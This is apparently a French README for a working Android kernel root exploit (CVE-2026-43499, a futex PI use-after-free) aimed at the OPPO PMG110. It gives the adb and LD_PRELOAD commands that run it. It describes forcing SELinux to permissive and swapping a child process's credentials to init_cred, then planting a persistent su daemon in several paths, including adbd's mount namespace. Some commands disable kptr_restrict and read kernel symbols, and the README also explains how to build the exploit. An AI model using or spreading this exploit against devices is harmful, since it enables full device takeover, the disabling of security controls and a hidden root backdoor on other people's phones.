
Exploit LPE Android pour CVE-2026-43499 ciblant l'OPPO PMG110 (kernel 6.6). Utilise une UAF futex PI pour obtenir les droits root et installer un démon su via LD_PRELOAD.
CVE-2026-43499 (futex PI, use-after-free de rt_mutex_waiter) escalade de privilèges locale, porté sur le OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16.
Un seul fichier poussé, lancé via LD_PRELOAD :
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
En cas de succès, un su persistant est laissé en place :
adb shell /data/local/tmp/su -c id # uid=0(root)
Vérifié sur l'appareil (2026-07-27) : uid=0 en environ 35 secondes à partir d'une exécution brute, sans aucune variable d'environnement modifiée, et su répondant ensuite depuis un adb shell non privilégié ordinaire :
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
L'exploit et l'installation de su sont tous deux vérifiés sur cet appareil. Ce que ce shell rooté a ensuite relu confirme également P0_KERNEL_PHYS_LOAD, les offsets de symboles et KS_MTE_TAGGED=0 indépendamment de l'exploit — voir targets/pmg110-16.0.9.400/NOTES.md.
| Appareil | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991 (Dimensity 9500s) |
| Noyau | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k (GKI, pages 4K) |
| Build | ColorOS 16 / PMG110_16.0.9.400(CN01) — mêmes octets de noyau que 16.0.8.300 |
| Bug | CVE-2026-43499, non corrigé dans cette image (prouvé par désassemblage, pas par la version) |
Il exécute Write 1 (SELinux permissif) et Write 2 (cred → init_cred), amène un processus enfant à uid=0, et, à partir de là, installe le démon su embarqué.
su n'est pas un second artefact : su_daemon.c est compilé comme un PIE aarch64 autonome et incorporé via .incbin dans le .rodata de la bibliothèque, il voyage donc à l'intérieur de preload.so et est réécrit à l'exécution. La voie de warhol-root, inchangée.ksud, pas de KernelSUsu est installé à trois endroits, car l'un d'eux est celui que vous atteindrez réellement :
| Chemin | Pourquoi |
|---|---|
/apex/com.android.virt/bin/su | sur un tmpfs monté par-dessus ce répertoire ; sur PATH pour un shell root |
/data/local/tmp/su | atteignable depuis un simple adb shell, sans contournements de PATH |
/apex/com.android.virt/bin/su dans l'espace de noms de montage d'adbd | installé via setns, donc un nouveau adb shell le voit |
Le démon écoute sur /data/local/tmp/temp_su.sock et journalise dans /data/local/tmp/su_daemon.log. Root n'est pas persistant après un redémarrage — relancez la ligne LD_PRELOAD après chaque démarrage.
Pour l'installation de KernelSU, utilisez plutôt la voie /data/local/tmp/a/e dans ghostlock-oneplus.
Tout, sauf le cœur de l'exploit, provient de warhol-root, repris plutôt que réinventé :
targets/<device>/, mis en place dans source/src/ à la compilation, de sorte que changer de DEVICE ne puisse jamais laisser les en-têtes de l'appareil précédent derrièresource/Makefile (NDK s'il y en a un, clang hôte contre le sysroot NDK sinon) et la règle d'intégration en deux étapes qui produit build/embed/su_daemon_aarch64_pie avant de lier le .sosu_daemon.c et su_blob.S sont octet-pour-octet identiques à ceux de warhol-root, et su_install.c est son installateur preload.cLe cœur de l'exploit n'est pas celui de warhol-root. warhol-root est popsicle, qui est verrouillé sur GKI 6.12 / android16 et dont generate_target.py refuse toute autre bannière. PMG110 est en 6.6 / android15, donc le cœur ici est l'arborescence ghostlock 6.6 — elle-même descendante du même code (kernelsnitch/utils.h et timeutils.h sont octet-pour-octet identiques entre les deux dépôts), développée plus avant.
| Fichier | Relation |
|---|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | de ghostlock, octet-pour-octet identique |
su_daemon.c su_blob.S | de warhol-root, octet-pour-octet identique (su_blob.S ajoute deux lignes .hidden — voir Compilation) |
su_install.c | l'installateur preload.c de warhol-root, déplacé dans son propre fichier car le preload.c de cette arborescence a déjà un autre rôle |
main.c | de ghostlock, plus l'appel su dans l'enfant rooté et le rapport des résultats |
preload.c | uniquement ici — le constructeur et le journal à double sortie |
offsets.h | uniquement la définition de structure ; l'entrée est mise en place depuis targets/<device>/device_offsets.h |
Chaque ligne de l'exploit proprement dit — Write 1, Write 2, KernelSnitch, la voie pselect — est le même code dans les deux arborescences.
C'est la seule différence structurelle, et elle est imposée par les deux arborescences qui obtiennent root de manières différentes.
warhol-root root le processus de l'exploit lui-même et appelle donc install_embedded_su() directement depuis run_direct_root(). Ici, Write 2 échange le pointeur cred d'un enfant forké et le parent reste l'appelant non privilégié ; l'enfant dans child_main() est donc le seul contexte capable d'effectuer l'installation — c'est là qu'elle s'exécute.
Les deux arborescences portent le même stub faible install_embedded_su() dans util.c, qui retourne ENOSYS ; fournir la définition forte est ce qui active la voie. C'est bon à savoir, car une compilation qui, pour une raison ou une autre, omet su_install.c se lie et s'exécute toujours — elle rapporte simplement su=0/38 et n'installe rien.
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
La chaîne d'outils est trouvée automatiquement : ANDROID_NDK_HOME / ANDROID_NDK_ROOT d'abord, puis les emplacements d'installation NDK habituels pour Linux et macOS et, si tout cela échoue, clang hôte ciblant le sysroot NDK. Ne définissez ANDROID_NDK_HOME que pour remplacer la recherche. make info affiche ce qu'elle a choisi.
La compilation se fait en deux étapes, ce qu'il vaut la peine de savoir :
su_daemon.c → build/embed/su_daemon_aarch64_pie, un PIE aarch64 autonomesu_blob.S intègre ce binaire via .incbin dans .rodata, et l'ensemble est lié dans l'unique preload.soDonc make clean et une recompilation sont le seul moyen de changer le su embarqué — modifier su_daemon.c seul suffit, la dépendance est déclarée, mais le blob est un artefact de compilation et n'est pas suivi.
targets/<device>/{target.h,device_offsets.h} sont remis en place dans source/src/ à chaque compilation, afin qu'un en-tête périmé d'un autre appareil ne puisse pas être pris en compte silencieusement.
out/*.so n'est pas suivi (même convention que warhol-root) — clonez et lancez make.